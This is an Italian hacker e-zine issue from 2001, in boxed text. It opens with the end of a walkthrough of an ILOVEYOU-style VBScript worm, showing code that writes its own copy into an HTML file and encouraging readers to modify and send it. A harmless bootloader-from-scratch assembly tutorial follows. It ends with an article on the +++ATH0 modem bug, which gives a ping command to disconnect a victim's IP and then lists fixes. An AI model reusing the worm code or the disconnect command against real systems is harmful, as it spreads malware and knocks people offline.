| lines=Split(c.ReadAll,vbcrlf)                                                 |\
| l1=ubound(lines)                                                              |\
| for n=0 to ubound(lines)                                                      |\
| lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))                        |\
| lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))                       |\
| lines(n)=replace(lines(n),"\\",chr(37)+chr(45)+chr(37))                        |\
| if (l1=n) then                                                                |\
| lines(n)=chr(34)+lines(n)+chr(34)                                             |\
| else                                                                          |\
| lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"                                |\
| end if                                                                        |\
| next                                      'ci creiamo                         |\
| set b=fso.CreateTextFile(dirsystem+"\\LOVE-LETTER-FOR-YOU.HTM")                |\
| b.close \tab \tab \tab           ' ci auto_apriamo                     |\
| set d=fso.OpenTextFile(dirsystem+"\\LOVE-LETTER-FOR-YOU.HTM",2)                |\
| d.write dt5                                                                   |\
| d.write join(lines,vbcrlf)                                                    |\
| d.write vbcrlf                                                                |\
| d.write dt6                                                                   |\
| d.close                                                                       |\
| end sub                                                                       |\
|                                                                               |\
|                                                                               |\
| Come potete vedere creare un virus alla portata di "I love you" \'e8 un po'      |\
| complicato e lungo.                                                           |\
| Se volete fare i lamer D.O.C. potete copiare il codice, modificare le parti   |\
| riguardanti il titolo della e-mail, il messaggio, l'allegato (ovviamente      |\
| cambiando anche il nome con cui lo salvate tramite la macro),                 |\
| e poi lo spedite a qualcuno, ma sarebbe meglio elaborarne uno proprio ,       |\
| invece di sfruttare il bel lavoro di quel poveraccio di Manila che \'e8 stato    |\
| pure beccato!  :(                                                             |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [C0DiNG]                                        #04 - 19/11/2001 |\
| 0S FR0M ZER0 CHAPTER                          [Alexander The Great] 0x0F/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| Introduzione.                                                                 |\
| -------------                                                                 |\
|                                                                               |\
|    Salve.                                                                     |\
|                                                                               |\
|    L'argomento di questo tutorial \'e8: progettare e realizzare un               |\
| nuovo sistema operativo, partendo da zero, dal nulla assoluto.                |\
|    Intendo, pi\'f9 precisamente, NON a partire da un kernel o da                 |\
| qualche altra cosa presa in prestito da un sistema gi\'e0 esistente:             |\
| proprio dallo zero assoluto, scrivendo ogni singola riga di                   |\
| codice assembly necessario. Quindi come prima cosa vi consiglio               |\
| di studiare un po' di assembly per processori Intel. Ci sono un               |\
| bel po' di tutorials al riguardo su Internet, ma se vi potete                 |\
| permettere di spendere qualcosa in un buon libro, vi consiglio                |\
| il Murray-Pappas, "l'Assembler per l'80286/80386", MCGraw-Hill.               |\
| E un'ultima cosa: se non sapete l'inglese, lasciate perdere...                |\
|                                                                               |\
|    Troppo difficile? Direi che non \'e8 facile, ma non \'e8 neanche                 |\
| impossibile. Bisogna innanzi tutto chiedersi da dove comincia                 |\
| un sistema operativo... la risposta \'e8: da dove finisce il BIOS.               |\
|    Come sicuramente saprete, il BIOS \'e8 quella parte di programmi              |\
| che risiedono in ROM e si occupano di gestire l'hardware al suo               |\
| livello pi\'f9 fondamentale. Inoltre il BIOS si occupa del cosidetto             |\
| "Power-On Self-Test", abbreviato in POST: durante il POST viene               |\
| verificata la salute dell'unit\'e0 centrale e di tutte le periferiche;           |\
| dopodich\'e9, a patto che tutto risulti a posto, il BIOS passa il                |\
| controllo a un programmino che si chiama "bootstrap loader".                  |\
|    Ecco: l\'ec finisce il BIOS e comincia il sistema operativo;                  |\
| volendo scrivere un SO nuovo di zecca, bisogna quindi iniziare                |\
| dal codice del "bootstrap loader".                                            |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| Il bootblock.                                                                 |\
| -------------                                                                 |\
|                                                                               |\
|    Su tutti i dischi di sistema (quale che sia il sistema) esiste             |\
| un'area chiamata "bootblock" (blocco d'avviamento), rappresentata             |\
| dal primo settore fisico del disco. Se prendiamo un floppino ed i             |\
| suoi soliti 1440 Kb, e ne analizziamo la struttura, il risultato              |\
| \'e8 il seguente:                                                                |\
|                                                                               |\
|       - 80 tracce (tracks) circolari, la prima delle quali \'e8 la               |\
|         pi\'f9 vicina al centro del disco, e l'ultima la pi\'f9 esterna;            |\
|       - 2 testine (heads), dette anche "superfici", poich\'e9 indica             |\
|         quante superfici del supporto magnetico sono utilizzabili;            |\
|       - 18 settori per traccia (sectors per track), ovvero in                 |\
|         quanti settori circolari \'e8 divisa ogni traccia;                       |\
|       - 512 bytes per settore (bytes per sector), la capacit\'e0 di              |\
|         memoria di un singolo settore.                                        |\
|                                                                               |\
|    Se infatti si fa il prodotto di tutti i valori (80x2x18x512),              |\
| si ottiene il numero totale di bytes che un floppy da 1440Kb pu\'f2              |\
| contenere, per l'appunto 1.474.560 bytes, cio\'e8 1440Kb, o 1.4 Mb.              |\
| Detto questo, passo a introdurre un'altra entit\'e0: il "cilindro",              |\
| in inglese chiamato "cylinder". Il cilindro \'e8 l'ammontare di dati             |\
| immagazzinati in tutte le superfici di tutti i settori di una                 |\
| sola traccia.                                                                 |\
|    Quindi la quantit\'e0 di dati immagazzinata in un cilindro si pu\'f2             |\
| calcolare moltiplicando i bytes per settore per il numero di                  |\
| settori per traccia, per il numero di superfici (o testine).                  |\
| Nel caso di un floppy, questo calcolo \'e8 512x2x18 = 18 Kb.                     |\
|                                                                               |\
|    Chiusa la piccola digressione, torniamo al bootblock.                      |\
| Il bootblock \'e8 un singolo settore del disco, quindi su un floppy              |\
| del genere (ma attualmente su qualsiasi dispositivo magnetico),               |\
| il bootblock \'e8 lungo 512 bytes.                                               |\
|    Come primo settore, \'e8 identificato come settore numero 1 della             |\
| superficie numero zero della traccia numero zero. Questo modo di              |\
| identificare i settori su un disco \'e8 chiamato "coordinate CHS",               |\
| in quanto fornisce, nell'ordine, i tre valori che identificano:               |\
| (C)ylinder, (H)ead, (S)ector, in genere separati da duepunti.                 |\
|    Quindi le coordinate CHS del bootblock sono 0:0:1.                         |\
|    Attenzione a non confondersi: i settori sono sempre numerati               |\
| a partire da 1, mentre gli altri due valori partono da zero. Non              |\
| saprei dire perch\'e9, per\'f2 le cose stanno cos\'ec, che volete farci?               |\
|    Il bootblock \'e8 un settore molto particolare, non tanto perch\'e9              |\
| \'e8 il primo settore fisico del supporto, quanto perch\'e9 il BIOS si              |\
| aspetta di trovarci dentro il nostro bootstrap loader. Quando si              |\
| accende il PC con un floppy nel drive che DOS e Windows chiamano              |\
| "A" (e che il BIOS definisce in un altro modo), il BIOS prova ad              |\
| accedere al primo settore del dischetto e, se lo trova, ne carica             |\
| i contenuti a partire da una locazione di memoria fissa: per la               |\
| precisione si tratta della locazione 0000:7C00h. Dopodich\'e9, il                |\
| BIOS salta direttamente a quella locazione, da dove il nostro                 |\
| SO pu\'f2 finalmente prendere il controllo del computer.                         |\
|    Spero che a questo punto sia chiaro che nel bootblock non c'\'e8              |\
| nient'altro che un programmino fatto di puro codice, senza nessun             |\
| "header", nessun "marchiatore" particolare. Soltanto 512 bytes di             |\
| puro codice macchina, che il BIOS eseguir\'e0 incondizionatamente.               |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| Come iniziare un bootstrap loader.                                            |\
| ----------------------------------                                            |\
|                                                                               |\
|    Bene, quei 512 bytes contenuti nel bootblock formano quel                  |\
| minuscolo programma assembly chiamato "bootstrap loader". Esso                |\
| si occupa di caricare in memoria il sistema operativo, a cui di               |\
| solito trasferisce il controllo prima possibile. Ora, per prima               |\
| cosa, vediamo come sviluppare un bootstrap loader senza far                   |\
| crashare niente.                                                              |\
|                                                                               |\
| Prima istruzione:                                                             |\
|       CLI                                                                     |\
|                                                                               |\
|    attenzione alle interrupts.                                                |\
|    Le interrupts sono brevi programmi eseguiti per gestire                    |\
|    periferiche ed eventi. Esse interrompono temporaneamente                   |\
|    l'esecuzione del programma corrente, e di solito non sono                  |\
|    pericolose per l'integrit\'e0 del sistema. MA QUANDO IL BIOS                  |\
|    trasferisce il controllo al bootstrap loader, non si cura                  |\
|    di mettere a posto un'area di STACK. Dato che l'area di                    |\
|    stack \'e8 quella parte di memoria usata per memorizzare dati                 |\
|    temporanei (come gli indirizzi di ritorno dei programmini                  |\
|    che gestiscono le interrupts), se un'interrupt venisse                     |\
|    eseguita mentre lo stack non \'e8 ancora al suo posto, il                     |\
|    risultato sarebbe un immediato crash.                                      |\
|    L'istruzione CLI fa s\'ec che le interrupts vengano sospese                   |\
|    fino a nuovo ordine. In questo caso "fino a nuovo ordine"                  |\
|    significa "finch\'e9 non viene incontrata un'istruzione STI".                 |\
|                                                                               |\
| Dopodich\'e9, si pu\'f2 proseguire cos\'ec:                                            |\
|       XOR DX, DX                                                              |\
|       MOV SS, DX                                                              |\
|       MOV SP, 7C00h                                                           |\
|                                                                               |\
|    Le istruzioni che seguono CLI sistemano lo stack, facendolo                |\
|    puntare all'offset 7C00h del segmento zero. In particolare,                |\
|    "XOR DX, DX" \'e8 un modo pi\'f9 compatto di scrivere "MOV DX, 0".               |\
|    Quindi in SS (Stack Segment) viene passato il valore zero,                 |\
|    ed in SP (Stack Pointer) viene passato il valore 7C00h.                    |\
|    Perch\'e9? B\'e8, per capirlo bisogna osservare questa piccola                   |\
|    mappa di memoria, che mostra la memoria al momento del boot;               |\
|    gli indirizzi si riferiscono alla modalit\'e0 reale (seg:off),                |\
|    dove seg = segmento, off = offset, 16 bytes per segmento.                  |\
|                                                                               |\
|       INDIRIZZO (hex)   LUNGHEZZA       DESCRIZIONE                           |\
|       0000:0000         1024 bytes      Tabella interrupts                    |\
|       0040:0000         256 bytes       BIOS Data Area (BDA)                  |\
|       0050:0000         30464 bytes     (vuota)                               |\
|       07C0:0000         512 bytes       Bootstrap loader                      |\
|       07E0:0000      fino a 9FC0:0000h  (vuota)                               |\
|       9FC0:0000         1024 bytes      "Vecchio ultimo Kb"                   |\
|       A000:0000         64 Kb           Prima pagina grafica                  |\
|       B000:0000         32 Kb           Testo monocromatico                   |\
|       B800:0000         32 Kb           Testo a colori                        |\
|       C000:0000         fino a 32Kb     ROM della scheda video                |\
|       C800:0000         fino a 32Kb     ROM del controller HD                 |\
|       D000:0000         fino a 256Kb    Upper Memory Blocks                   |\
|       F000:0000         64 Kb           BIOS di sistema (ROM)                 |\
|       FFF0:0000         16 bytes        Warm Boot Handler                     |\
|       FFFF:0000         65520 bytes     High Memory Area                      |\
|                                                                               |\
|       Come si vede, in corrispondenza dell'indirizzo 07C0:0000,               |\
|    che si pu\'f2 anche scrivere come 0000:7C00 (e se non capite                  |\
|    perch\'e9 vi consiglio un buon libro di assembly per Intel),                  |\
|    \'e8 stato caricato il nostro bootstrap loader. Discendendo                   |\
|    lungo la memoria si pu\'f2 spaziare per la bellezza di 30464                  |\
|    bytes, prima di incontrare le aree di vitale importanza per                |\
|    il BIOS (cio\'e8 la BDA e la IVT, Interrupt Vectors Table).                   |\
|    Orbene, dato che lo stack \'e8 un'area di memoria "espand-down",              |\
|    ovvero che viene espansa per decrementi del puntatore allo                 |\
|    stack (SP), questi 30464 bytes vengono riservati allo stack                |\
|    iniziale. Il che, potete scommetterci, basta e avanza per                  |\
|    la tranquilla esecuzione delle interrupts.                                 |\
|       Ora, magari qualcuno \'e8 curioso di sapere a cosa servono                 |\
|    tutte le altre aree di memoria, ma ci arriver\'f2 pi\'f9 avanti...               |\
|    intanto, proseguiamo nella costruzione del bootstrap loader.               |\
|                                                                               |\
| Ora possiamo ripristinare le interrupts:                                      |\
|       JMP $+2                                                                 |\
|       STI                                                                     |\
|                                                                               |\
|    Uhmmm... come mai ho messo "JMP $+2"?                                      |\
|    Significa: salta alla locazione posta due bytes pi\'e0 avanti                 |\
|    di quella eseguita in questo momento. La locazione eseguita                |\
|    in quel momento \'e8 quella che contiene "JMP", e due bytes pi\'f9               |\
|    avanti (vedi codice macchina di JMP) si trova l'istruzione                 |\
|    STI, quindi l'istruzione "JMP $+2" non fa altro che "saltarsi              |\
|    da sola". Ma perch\'e9 l'ho messa? Perch\'e9 i cambiamenti di stack              |\
|    possono essere, a volte, un po' "traumatici" per il computer.              |\
|    Alcuni processori Intel e compatibili, di per s\'e9, effettuano               |\
|    un ciclo di arresto quando viene cambiato SP. Altri no.                    |\
|       Il fatto \'e8 che se un'interrupt venisse eseguita PROPRIO                 |\
|    subito dopo che il processore incontra "STI", ci sarebbe una               |\
|    vaga, *ma non nulla*, possibilit\'e0 che lo stack punti ancora                |\
|    alla precedente locazione. Il motivo tecnico, dal punto di                 |\
|    vista del microprocessore, non ve lo so spiegare, ma vi basti              |\
|    sapere che questo tipo di comportamento \'e8 stato osservato.                 |\
|       D'altra parte, non costa (quasi) nulla mettere un salto                 |\
|    "a vuoto" prima di STI, e quindi \'e8 consigliabile farlo, se                 |\
|    si vuole che non ci siano mai problemi durante il boot.                    |\
|       Un'altra cosa che non ho spiegato \'e8 perch\'e9 ho usato proprio             |\
|    il registro DX per caricare il segmento SS, e inoltre a quale              |\
|    pericolosa locazione puntasse lo stack all'inizio. Allora...               |\
|       Il layout (configurazione) dei registri nel momento in cui              |\
|    il BIOS trasferisce il controllo al bootstrap loader, \'e8 questo:            |\
|                                                                               |\
|       AX = POST status flags (flags di stato dopo il POST);                   |\
|       BX = CX = DX = indefiniti, ma in genere posti a zero;                   |\
|       SI = DI = BP = SP = tutti a zero;                                       |\
|       IP = 7C00h oppure zero (dipende dal BIOS).                              |\
|                                                                               |\
|       Mentre i registri di segmento appaiono cos\'ec:                            |\
|                                                                               |\
|       CS = zero oppure 7C0h (dipende dal BIOS);                               |\
|       DS = ES = FS = GS = SS = zero.                                          |\
|                                                                               |\
|       Se si deve azzerare un registro, la scelta pi\'f9 logica per               |\
|    evitare di alterare qualche valore che potrebbe fornire delle              |\
|    informazioni importanti, \'e8 proprio il registro DX. Ora, molti              |\
|    SO semplicemente se ne infischiano dei flags di stato del POST             |\
|    ed usano AX, ma \'e8 difficile dargli torto: in effetti, se il                |\
|    boot \'e8 avvenuto, significa che eventuali fallimenti del POST               |\
|    non sono stati critici. In genere, \'e8 possibile ignorare il                 |\
|    contenuto del registro AX. Solo che anche qui, non costa nulla             |\
|    usare DX e lasciare AX intatto, almeno in questa prima sezione             |\
|    del bootstrap loader. Quindi perch\'e9 no?                                    |\
|                                                                               |\
| Ricapitolando...                                                              |\
|       CLI                                                                     |\
|       XOR DX, DX                                                              |\
|       MOV SS, DX                                                              |\
|       MOV SP, 7C00h                                                           |\
|       JMP $+2                                                                 |\
|       STI                                                                     |\
|                                                                               |\
|    Queste istruzioni introduttive dovrebbero essere considerate               |\
|    "fisse", al di l\'e0 di quel che poi il bootstrap loader far\'e0 per             |\
|    caricare il kernel del sistema operativo. Queste istruzioni                |\
|    hanno il solo scopo di "stabilizzare" l'ambiente di esecuzione.            |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| Il resto del bootstrap.                                                       |\
| -----------------------                                                       |\
|                                                                               |\
|       Ovvero come caricare il kernel; questo almeno in teoria.                |\
|       Siccome le spiegazioni necessarie sono piuttosto lunghe, per            |\
|    il momento mi fermo qui, fornendo come esempio di "bootstrap               |\
|    loader funzionante" un minuscolo bootstrap loader, il quale si             |\
|    limita a scrivere un classico "Hello, world!" sullo schermo e              |\
|    poi attende un tasto. Alla pressione di un tasto, riavvia.                 |\
|       Comunque, \'e8 gi\'e0 importante notare che tutte le interrupts               |\
|    utilizzate sono gestite dal BIOS. Non cercate, se le conoscete,            |\
|    interrupts come la 21h (servizi DOS). Il DOS non c'\'e8, cos\'ec come            |\
|    non c'\'e8 nessun altro sistema operativo in esecuzione: qui siete            |\
|    del tutto soli, a quattr'occhi con il BIOS. State a vedere...              |\
|                                                                               |\
| ------8<------------8<------------8<------------8<------------8<------        |\
| .MODEL TINY                             ; (ASM) modello di memoria            |\
| .CODE                                   ; (ASM) inizio del programma          |\
|       CLI                               ; istruzioni preparatorie             |\
|       XOR DX, DX                        ; .                                   |\
|       MOV SS, DX                        ; .                                   |\
|       MOV SP, 7C00h                     ; .                                   |\
|       JMP $+2                           ; .                                   |\
|       STI                               ; .                                   |\
|       MOV DX, 07C0h                     ; DX = 7C0h                           |\
|       MOV DS, DX                        ; DS = DX                             |\
|       CMP BYTE PTR SS:[449h], 3         ; 0:449h = modalit\'e0 video             |\
|       JNE SiamoGiaInModoTesto           ; (se 0:449h contiene 3)              |\
|       MOV AX, 0003h                     ; AH = 0 (set mode), AL = 3           |\
|       INT 10h                           ; (servizi video del BIOS)            |\
| SiamoGiaInModoTesto:                                                          |\
|       LEA BP, MESSAGGIO                 ; BP = puntatore alla stringa         |\
|       MOV AX, 1301h                     ; AX = funzione "textout"             |\
|       MOV BX, 000Ah                     ; BH = pagina(0), BL = colori         |\
|       MOV CX, LUNGHEZZA_STRINGA         ; CX = lunghezza stringa              |\
|       MOV DX, 0000h                     ; DH = riga(0), DL = colonna(0)       |\
|       PUSH DS                           ; ES = DS, perch\'e9 il BIOS vuole       |\
|       POP ES                            ;  che ES:BP punti alla stringa       |\
|       INT 10h                           ; (servizi video del BIOS)            |\
| EdOraAspettaUnTasto:                                                          |\
|       XOR AX, AX                        ; AX = funzione "get keystroke"       |\
|       INT 16h                           ; (servizi tastiera del BIOS)         |\
| InfineRiavvia:                                                                |\
|       INT 19h                           ; (BIOS bootstrap)                    |\
| MESSAGGIO:                                                                    |\
|       db 'Hello World!'                 ; la stringa da scrivere...           |\
|       LUNGHEZZA_STRINGA EQU $-MESSAGGIO ; (ne calcola la lunghezza)           |\
| END                                     ; (fine listato)                      |\
| ------8<------------8<------------8<------------8<------------8<------        |\
|                                                                               |\
|       Ora, per comprendere tecnicamente come funziona questo listato,         |\
|    dovreste imparare a consultare, oltre a un manuale di assembly,            |\
|    una preziosissima fonte d'informazioni sul funzionamento del BIOS e        |\
|    delle periferiche. Si tratta della "Ralf Brown's Interrupts List",         |\
|    ufficialmente scaricabile dal seguente sito:                               |\
|                                                                               |\
|       http://www.pobox.com/~ralf/files.html                                   |\
|                                                                               |\
|       Se cercate, in quei 7 megabytes e passa di documentazione,              |\
|    le funzioni usate nell'esempio, troverete ogni dettaglio a esse            |\
|    relativo (per esempio, perch\'e9 il messaggio lo scrive in VERDE).            |\
|       Inoltre potete consultare il file MEMORY.LST incluso nel                |\
|    suddetto archivio, per capire meglio a cosa serva quel controllo           |\
|    sulla locazione 0000:0449h (oppure 0040:0049h).                            |\
|       I files di Ralf Brown sono di vitale importanza se volete               |\
|    andare avanti in questo progetto, quindi procurateveli subito,             |\
|    esplorateli a fondo e teneteli sempre a portata di mano.                   |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| E ora come faccio a metterlo nel bootblock?                                   |\
| -------------------------------------------                                   |\
|                                                                               |\
|    Per quanto mi riguarda, come assemblatore uso il "Borland TASM",           |\
| "Borland Turbo Assembler 3.1", con accluso il suo "Turbo Linker",             |\
| in ambiente MS-DOS. Nel caso possiate procurarvelo, la sintassi \'e8:            |\
|                                                                               |\
|       TASM LISTATO.ASM                                                        |\
|       TLINK LISTATO.OBJ                                                       |\
|                                                                               |\
|    Bene: abbiamo il listato, lo abbiamo assemblato, lo abbiamo linkato,       |\
| e quindi abbiamo ottenuto un file con estensione .EXE che rappresenta         |\
| il nostro primo bootstrap loader. E ora come ce lo mettiamo nel floppy?       |\
|    Sicuramente, NON come un semplice file. Scordatevelo pure: il floppy       |\
| non deve avere un sistema operativo "altrui": deve essere un floppy del       |\
| tutto vuoto, ma comunque formattato. Formattato, precisiamolo, per un         |\
| qualsiasi sistema operativo. Un floppy formattato da Linux va benissimo       |\
| quanto un floppy formattato da DOS o Windows...                               |\
|    Insomma, un floppy formattato ma del cui "file system" non ce ne           |\
| frega assolutamente niente, visto che non useremo il file system per          |\
| trasferirvi il bootstrap loader: useremo un'utility di scrittura "RAW"        |\
| del dischetto. "RAW" significa "cruda", "non assistita", "diretta".           |\
|    Uhm... io ho scritto un programma del genere, che si chiama STREAM,        |\
| ma purtroppo esiste solo per MS-DOS / Windows. Quindi procuratevi uno         |\
| di questi due SO per cominciare... se poi qualcuno conosce un programma       |\
| del proprio SO che sia equivalente a STREAM (anche nella flessibilit\'e0,        |\
| badate bene che non basta un programma o un comando che prende la             |\
| cosidetta "immagine binaria" di un intero dischetto e la memorizza sul        |\
| floppy, perch\'e9 STREAM pu\'f2 eseguire delle scritture mirate e precise).         |\
|                                                                               |\
|    B\'e8, comunque, per prima cosa assicuriamoci che il file .EXE venga          |\
| "ripulito" del proprio "header" (il blocco d'intestazione che il DOS          |\
| utilizza per caricare il programma in memoria). Questo perch\'e9 il nostro       |\
| particolare file NON VERRA' eseguito sotto DOS (crasherebbe tutto), ma        |\
| bens\'ec direttamente dal BIOS che, come detto, non necessita di "headers"       |\
| o marchiatori particolari.                                                    |\
|    Per tagliare l'header dal file .EXE, diciamo che lo abbiamo chiamato       |\
| "LISTATO.EXE", c'\'e8 un'altro tool chiamato CHOPHEAD ("mozza la testa").        |\
| CHOPHEAD, nel caso di un header di 512 bytes come quello dei file .EXE,       |\
| si usa cos\'ec:                                                                  |\
|                                                                               |\
|       CHOPHEAD LISTATO.EXE 512                                                |\
|                                                                               |\
|    Dopodich\'e9 potrete notare che la dimensione del file si \'e8 ridotta di        |\
| 512 bytes, perch\'e9 i primi 512 bytes del file sono stati tagliati via,         |\
| lasciano il resto. I bytes rimanenti sono PURO CODICE MACCHINA, proprio       |\
| quello che ci serve per inserirlo nel bootblock.                              |\
|    Ricordatevi, a questo punto, che quel che rimane del file non pu\'f2,         |\
| in nessun caso, superare 512 bytes, se deve essere un bootstrap loader.       |\
| Il BIOS carica sempre un solo settore dal bootblock, e niente di pi\'f9:         |\
| il resto del nostro sistema lo caricher\'e0 proprio il bootstrap loader.         |\
|    Per quanto riguarda il nostro esempio, \'e8 lungo 67 bytes.                   |\
|                                                                               |\
|    Ora inseriamo il floppy nel drive A ed usiamo STREAM per memorizzare       |\
| il bootstrap loader sul primo settore fisico del disco, a coordinate          |\
| CHS 0:0:1. Queste coordinate, per\'f2, STREAM le interpreta nel formato          |\
| T:S:H, Track-Sector-Head; ma tradurle non \'e8 niente di complicato,             |\
| perch\'e9 T (numero traccia) equivale a C (numero cilindro), e gli altri         |\
| due valori semplicemente si scambiano, ottenendo le coordinate 0:1:0.         |\
| Ricordandosi inoltre di sostituire i duepunti con spazi vuoti, abbiamo:       |\
|                                                                               |\
|       STREAM LISTATO.EXE 0 1 0                                                |\
|                                                                               |\
|    Se tutto va bene, STREAM risponder\'e0 come segue:                            |\
|                                                                               |\
|       ! Beginning                                                             |\
|       ? Warning: disk changed since last operation                            |\
|       - Writing area 00:01:00 (TT:SS:HH, 0 sectors so far and going)          |\
|       ! Complete                                                              |\
|       ? Warning: last sector incomplete [file size not multiple of 512]       |\
|         total sectors written: 1                                              |\
|         total bytes used: 512                                                 |\
|         last access: 1 sectors                                                |\
|         first sector used: 00:01:00                                           |\
|         next free sector: 00:02:00                                            |\
|                                                                               |\
|    E una volta che l'operazione \'e8 andata a buon fine?                         |\
| (Non curatevi dei "warnings" di STREAM, \'e8 regolare che ci siano...)           |\
| Dicevo, una volta fatto questo? B\'e8, per vedere il bootstrap loader in         |\
| azione non rimane che riavviare il computer... non che ci sia molto da        |\
| vedere: appunto, la scritta "Hello world!", verde, in alto a sinistra.        |\
| Se a quel punto volete riavviare con il SO che avete sull'hard disk,          |\
| semplicemente togliete il floppy dal drive e premete un tasto.                |\
|                                                                               |\
| E' tutto, per ora. Spero che l'argomento vi risulti interessante.             |\
| Nel prossimo capitolo vedremo come caricare un esempio di kernel.             |\
|                                                                               |\
|                         Alexander The Great                                   |\
|                         alex.tg@tiscalinet.it                                 |\
|                         http://members.designheaven.com/~44                   |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [MiSC]                                          #04 - 19/11/2001 |\
| +++ATH0                                                    [_snake] 0x10/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| +++ATH0                                                                       |\
| Intanto cosa \'e8 il +++ATH0 ?                                                   |\
| E' una stringa, un comando che viene eseguito dai modem.                      |\
| Cosa esegue il modem con questa stringa?                                      |\
| Analizziamo intanto il tutto:                                                 |\
| +++ fa si che il modem passi in modalit\'e0 "Escape", ossia in esecuzione        |\
| comandi standard.                                                             |\
| AT sono due lettere che precedono sempre il comando vero e proprio che in     |\
| questo caso \'e8 H0                                                              |\
| H0 \'e8 il corpo del comando, quello che il modem deve eseguire, che in questo   |\
| caso \'e8: "Hangup", detto pi\'f9 semplicemente il modem stacca la telefonata.      |\
| Quindi quando un modem esegue questa stringa compie le seguenti operazioni:   |\
| +++ = Il modem passa in  modalit\'e0 "Escape" (esecuzione comandi) ' ATH0 =      |\
| Esecuzione di HANGUP.                                                         |\
| A questo punto il modem ha staccato la telefonata con il POP e quindi si \'e8    |\
| disconnesso da internet.                                                      |\
|                                                                               |\
| Quali pericoli pu\'f2 indurre questo bug?                                        |\
| I pericoli sono veramente pochi, intanto perch\'e9 \'e8 semplicissimo fixarlo       |\
| (spiegato dopo),                                                              |\
| l' unica seccatura \'e8 portata dal fatto che ci sono molte persone che non      |\
| hanno niente da fare in IRC e potrebbero staccarti la connessione.            |\
| Perch\'e9 il modem svolga questo comando, la stringa +++ATH0 deve essere in      |\
| uscita dal nostro modem.                                                      |\
| Come?                                                                         |\
| Ci sono diversi modi\'85se trasferiamo un file contenete la parola +++ath0 ci    |\
| disconnettiamo, se inviamo un' e-mail contentente il testo +++ath0 ci         |\
| disconnettiamo. Se vuoi fare uno scherzo a qualcuno che \'e8 infetto da questo   |\
| bug, gli scrivi un\'ec e-mail e in fondo in piccolo scrivi +++ath0. Molti        |\
| programmi di posta quando devono rispondere a un messaggio copiano il testo   |\
| dell'e-mail ricevuta e quindi anche la solita stringa +++ath0, quando la      |\
| invia\'85. ;). L' ECHO REPLY \'e8 il principio che usano i molti programmi di war   |\
| che sfruttano questo bug.                                                     |\
| Inviando un ICMP ECHO a un ip vittima contenente la stringa +++ATH0, essa     |\
| risponder\'e0 con un ECHO REPLY copiando la suddetta stringa. Risultato che      |\
| +++ATH0 esce dal modem della vittima e quindi avr\'e0 una disconnessone          |\
| immediata.                                                                    |\
|                                                                               |\
| Potremmo anche sbizzarrirci a far eseguire al modem della vittima tanti       |\
| comandi diversi.                                                              |\
|                                                                               |\
| Da linux \'e8 possibile fare la stessa cosa con i ping.                          |\
| Il comando ping serve per controllare una connessione remota, inviando dei    |\
| bytes che verranno restituiti in risposta.                                    |\
| Si possono definire i bytes che viaggiano, con l'opzione -p.                  |\
| Il comando sar\'e0:                                                              |\
| ping -p 2B2B2B41544830 -s 5 123.45.67.89                                      |\
|                                                                               |\
| 2B2B2B41544830 \'e8 la stringa +++ATH0 in esadecimale, -s 5 \'e8 la grandezza del   |\
| pacchetto (in questo caso 5 bytes), 123.45.67.89 \'e8 l'ip della vittima.        |\
| Recentemente ho scoperto una cosa curiosa:                                    |\
| stavo cercando il modo di immunizzarmi e cercai in VIRGILIO                   |\
| (www.virgilio.it) la parola +++ATH0. Appena schiacciai INVIO la connessione   |\
| termin\'f2 senza motivo.                                                         |\
| Riconnesso feci di nuovo la ricerca con lo stesso risultato.                  |\
| Analizzando l'url che eseguiva explorer c'era la stringa %2B%2B%2Bath0, dove  |\
| %2B in codice ascii \'e8 uguale a +.                                             |\
| Un modem quando deve processare un url, prima lo analizza, poi invia la       |\
| richiesta al server. Quando il modem attua quest'ultima operazione, fa        |\
| "uscire" anche la stringa %2B%2B%2Bath0.                                      |\
| Conseguenza?                                                                  |\
| Hangup.                                                                       |\
| Provai a scrivere www.%2B%2B%2Bath0.it , oppure solamente %2B%2B%2Bath0, ma   |\
| non accadeva nulla\'85Poi feci un redirect con cjb.net, precisamente             |\
| b00m.cjb.net e redirectai www.%2B%2B%2Bath0.it. Ancora niente\'85Pensandoci      |\
| bene ogni url che scrivevo non esisteva, quindi  pensai che per far eseguire  |\
| il comando +++ATH0 il modem doveva caricare qualcosa, un url esistente, un    |\
| server a cui mandare la richiesta, L'importante \'e8 che contiene anche il       |\
| comando di "Hangup".                                                          |\
|  Feci una pagina htm e la chiamai +++ath0.htm . Poi l'uploadai a un web       |\
| hosting, mi resi di nuovo scoperto all' +++ath0 e eseguii l'url.              |\
| Caddi subito. Riprovai diverse volte e cadevo ad ogni tentativo. Quando mi    |\
| immunizzavo di nuovo al bug, non accadeva assolutamente niente.               |\
|                                                                               |\
| Per proteggersi da eventuali attacchi ci sono diversi modi, intanto           |\
| controlla se gi\'e0 non sei attaccabile da questo bug: www.b00m.cjb.net . Li ho  |\
| messo la page di cui ho parlato prima. Appena caricata non ci sar\'e0            |\
| apparentemente niente, apparte il solito IMPOSSIBILE VISUALIZZARE LA PAGINA   |\
| WEB. Non perch\'e9 non \'e8 stata caricata o perch\'e9 non esiste. Semplicemente       |\
| nell' html della page ho messo l'html delle pagine non visualizzabili\'85ma con  |\
| un errore\'85se guardi bene lo scopri =)                                         |\
|                                                                               |\
| Immunizziamoci.                                                               |\
| - Filtrare gli icmp contenenti la stringa  +++ATH0. Questo e'  possibile, ma  |\
| fastidioso e poi se vorremmo lanciare noi degli attacchi di questo genere     |\
| saremmo i primi a cadere.                                                     |\
| - Cambiare il carattere di escape. Invece di + potrebbe essere -, ma alcuni   |\
| nuker provano tutto il range di ascii possibili e quindi potrebbero riuscire  |\
| a farti cadere.                                                               |\
| Il modo pi\'f9 efficace e' fixare il modem con l'apposita stringa ATS2=255 .     |\
| Per farlo basta andare a Risorse del computer ' Accesso remoto , clickare     |\
| col dx sulla tua connessione e selezionare Propriet\'e0. Si aprir\'e0 una           |\
